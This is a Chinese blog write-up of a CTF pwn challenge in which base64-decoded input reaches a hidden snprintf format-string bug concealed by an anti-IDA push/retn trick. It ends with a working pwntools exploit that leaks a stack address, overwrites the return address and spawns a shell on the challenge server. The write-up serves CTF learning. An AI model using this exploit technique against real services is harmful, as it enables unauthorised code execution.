Loading... 这道题的 exp 应该是近期写的最短的,但是却是最令我迷惑的题。 一开始就是一个输入,然后输入的字符串会被传到这个函数里面进行处理 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/436952076.png "></div> 这个函数非常的复杂,完全不知道它在做什么,我一度怀疑这是一道逆向题。然后了解到从它查表得行为和随便输入往往会转换出乱码俩个特征可以猜测这是一个 base64 加密,简单尝试一下就可以确认这一点。 再看看整个程序,没有发现什么漏洞点,就不会了。 查阅 wp 之后才知道这里有反 IDA 逆向分析的指令 ``` .text:08048B76 sub_8048B76 proc near ; CODE XREF: sub_8048BD4+6↓p .text:08048B76 ; __unwind { .text:08048B76 push ebp .text:08048B77 mov ebp, esp .text:08048B79 sub esp, 18h .text:08048B7C mov dword ptr [esp], offset s ; s .text:08048B83 call _strlen .text:08048B88 mov dword ptr [esp+8], 0 .text:08048B90 mov [esp+4], eax .text:08048B94 mov dword ptr [esp], offset s .text:08048B9B call base64encrypt .text:08048BA0 mov [esp+0Ch], eax .text:08048BA4 mov dword ptr [esp+8], offset format ; "%s" .text:08048BAC mov dword ptr [esp+4], 800h ; maxlen .text:08048BB4 mov dword ptr [esp], offset byte_804A8A0 ; s .text:08048BBB call _snprintf .text:08048BC0 push offset sub_8048BD1 .text:08048BC5 push offset sub_8048B32 .text:08048BCA push 0 .text:08048BCC lea esp, [esp+4] .text:08048BD0 retn .text:08048BD0 sub_8048B76 endp ; sp-analysis failed ``` 这是 `sub_8048B76` 的汇编代码,也就是 base64 解密所在的函数,这里的 `snprintf` 没什么问题,但是调用 `snprintf` 完后的四句 ``` .text:08048BC0 push offset sub_8048BD1 .text:08048BC5 push offset sub_8048B32 .text:08048BCA push 0 .text:08048BCC lea esp, [esp+4] .text:08048BD0 retn ``` 是 IDA 没有分析出来的,这里做的就是调用 `sub_8048B32` 这个函数了 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/29094034.png "></div> 这个函数是有格式化字符串漏洞的,也就是说本题就是不在栈上的格式化字符串攻击,这种攻击就是搭跳板,可以参照[此文](https://www.cjovi.icu/WP/buu-xman_2019_format-wp.html)。但是 `snprintf` 的参数位置计算和 `printf` 肯定是不一样的,因为格式化字符串是第三个参数,那么相应的每个参数都应该减 2,也就是 `esp + 4 * x` 处的是第 `x - 2` 个参数。 #### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * import base64 context(arch = 'i386',os = 'linux') #sh = process("./nobug") sh = remote("111.200.241.244",45493) sh.sendline(base64.b64encode('%4$p')) ret_addr = int(sh.recvuntil('\n',drop = 'True'),base = 16) + 4 - 0x20 payload = asm(shellcraft.sh()) payload += '%' + str(ret_addr & 0xFF - len(payload)) + 'c' + '%4$hhn' payload += '%' + str((0xA0) - (ret_addr & 0xFF)) + 'c' + '%12$hn' print payload payload = base64.b64encode(payload) sh.sendline(payload) sh.interactive() ``` 这个 exp 需要进行有限的爆破,当栈地址过小时是打不通的,多试几次就可以了。 本题让我意识到了逆向能力的重要性。 最后修改:2021 年 03 月 02 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧